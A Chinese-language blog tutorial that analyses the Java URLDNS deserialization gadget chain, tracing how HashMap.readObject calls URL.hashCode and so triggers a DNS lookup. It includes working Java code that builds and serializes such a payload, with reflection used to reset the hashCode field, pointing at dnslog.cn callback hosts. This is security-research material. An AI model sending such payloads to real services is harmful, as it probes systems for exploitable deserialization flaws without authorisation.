URLDNS分析

0x01、概述

之前写的多多少少有点毛病,然后期间做项目什么的,忘的差不多了,就重新再写一下,发到博客上面;URLDNS一般用于探测是否存在反序列化漏洞从而诞生的

在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value。所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中。而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode()

0x02、demo分析

通过上面构造gadget概述这,我们知道了需要一个URL对象,并作为hashmap的key即可。这时候提出需求

1、需要有java.net.URL对象

2、创建的map中key需要为URL对象

3、需要将HashCode初始值为-1

package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws MalformedURLException {
        HashMap map = new HashMap();
        URL url = new URL("http://hb4x89.dnslog.cn");
        map.put(url,"edhdhdh");

    }
}

我们观察demo,发现没有将初始值设置为-1,依然可以触发dns请求。那么这是怎么回事,我们跟下去看看

入口点为map.put()处,为什么呢?因为map设置值就是用put,同时put方法里有我们想要的东西;我们继续跟下去看看

发现此处putVal()方法中调用了hash()。hash这方法干嘛?我也不知道,我们进去看一下就知道了

我们可以发现这是进行了判断,如果为空,则为0;不为空,则进入到后面这个算法中。这时候我们应该想起hashmap的特点

HashMap类:键唯一,键值对存取无序, 由哈希表保证键唯一。hashcode方法返回该对象的哈希码值

这一切就理所当然了,那么我们继续往下看看hashcode()干了什么事

那为什么hashCode=-1呀?

因为URL类中已经定义了hashcode为-1,所以我们就可以直接进入下一条语句中,去调用了新的一个hashcode

![image-20210901150220346](/Users/m1ng/Library/Application Support/typora-user-images/image-20210901150220346.png)

到这里其实就不用调试了,可以看到它这边发起了DNS请求。然而我这边只是一个demo,自己发起的,那么实际中我们得发送payload,让目标去发起请求。

0x03、URLDNS链分析

我们从demo中可以看到main函数里面短短三行就发起了请求,那我们以序列化数据形式呢?思考下我们怎么构造利用链?

1、为什么发起的dns请求?

2、目标类是否可以序列化

其实看demo最后一行,不难猜想到其实就是hashmap的put方法开始。那么我们是不是可以看看hashmap可以被序列化吗

我们看到serializable就可以放心了,说明是可以被序列化,那么我们就开始构造利用链吧

要求一致:

1、需要有java.net.URL对象

2、创建的map中key需要为URL对象

3、需要将HashCode初始值为-1

代码如下:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws MalformedURLException {
        HashMap map = new HashMap();
        URL url = new URL("http://mq82wx.dnslog.cn");
        map.put(url,"edhdhdh");

        try{
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

我们直接将map去序列化出来然后再去通过readObject去进行一个反序列化;通过下面这张图可以知道,这个map,即是我们的载体;

可以发现这边请求了两次,为什么呢?我们看代码其实可以发现,我们在生成序列化数据前,已经进行了一次put了

我们通过这张图可以看出什么?看出调用了HashMap#readObject(),里面则看到了老熟人putVal

发现put方法里面也存在putVal,是不是很奇怪,很疑惑。前面我们调试的是put,接下来怎么就是readObject()??

疑惑归疑惑,我们接下来往下看就知道了,其实我们可以知道readObject()是读取出了key和value

那么我们F7跟进去看看是怎么样子的

发现非常眼熟,就是HashMap中的hash方法,和put中的hash一样。那么结果就不用说了,直接就触发DNS请求了。真的如此吗?

发现这是怎么回事,为什么hashcode不是-1呢?这也就是为什么我们需要设置hashcode的值为-1,多次执行大家就可以发现有时候dns请求了1次,有时候则请求了2次。那么我们得稳定呀,不能这样子搞。那我们想想怎么解决;

解决问题:

1、编译过程不触发DNS请求

2、初始化hashcode值为-1

解决问题1:

因为是私有方法,我们需要通过发射进行修改属性(这个步骤看不懂的建议看看反射)

public class test {
    public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        HashMap map = new HashMap();
        URL url = new URL("http://m89inc.dnslog.cn");
      
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 修改访问权限
        f.set(url,123); // 设置hashCode值为123,这里可以是任何不为-1的数字
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功

        map.put(url,"edhdhdh");

    }
}

这时候其实可以发现put已经没有发起dns请求了,但是我们还是调一下看看

发现问题1已经解决了。那么我们在想下问题2怎么解决?其实问题1是通过反射中的set方法设置hashcode的值,那我们干嘛不能通过反射中的set去设置为-1呢?

通过上图我们可以发现其实完全满足了要求了,那我们现在封装到序列化中执行一下看看

完整代码:

package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        HashMap map = new HashMap();
        URL url = new URL("http://u.s84msd.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 修改访问权限
        f.set(url,111); 
        //System.out.println(url.hashCode());
        map.put(url,"edhdhdh");
        f.set(url,-1);
        try{
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

posted @ 2021-09-01 16:13  0X7e  阅读(283)  评论(0编辑  收藏  举报